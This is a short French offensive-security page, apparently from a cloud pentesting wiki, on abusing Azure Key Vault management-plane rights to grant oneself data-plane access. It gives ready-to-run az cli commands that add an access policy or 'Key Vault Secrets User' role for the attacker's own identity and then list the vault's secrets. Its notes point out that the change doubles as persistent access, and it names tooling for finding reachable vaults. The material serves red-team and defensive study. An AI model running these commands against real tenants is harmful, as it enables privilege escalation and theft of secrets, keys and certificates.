Lire un coffre nécessite un accès au plan de données, mais un principal ne détient souvent que des droits de plan de gestion sur le coffre (Contributor, ou un rôle personnalisé avec Microsoft.KeyVault/vaults/write). Cela suffit : vous octroyez à votre propre principal un accès au plan de données, puis lisez tout.
S'octroyer l'accès (coffres à stratégies d'accès)#
az keyvault set-policy --name <vault> \
--object-id <your-object-id> \
--secret-permissions get list --key-permissions get list --certificate-permissions get list
# then dump as normal
az keyvault secret list --vault-name <vault>
S'octroyer l'accès (coffres RBAC)#
# newer vaults use Azure RBAC; assign yourself a data-plane role at the vault scope
az role assignment create --assignee <your-object-id> \
--role "Key Vault Secrets User" \
--scope /subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.KeyVault/vaults/<vault>
Notes d'exploitation#
- C'est une escalade de privilèges du plan de gestion vers le plan de données ; elle laisse un changement de stratégie d'accès ou d'attribution de rôle qui subsiste jusqu'à ce qu'il soit remarqué, ce qui constitue aussi un accès durable.
- Nécessiter
Microsoft.KeyVault/vaults/write(set-policy) ouMicrosoft.Authorization/roleAssignments/write(RBAC) fait de cela une escalade d'identité qui se trouve viser un coffre. - Sur les coffres RBAC,
set-policyn'a aucun effet ; confirmez d'abord le modèle de permissions du coffre avecaz keyvault show --query properties.enableRbacAuthorization.
Outils#
- az cli (
keyvault set-policy,role assignment create). - MicroBurst / BARK pour repérer les coffres accessibles depuis un principal contrôlé.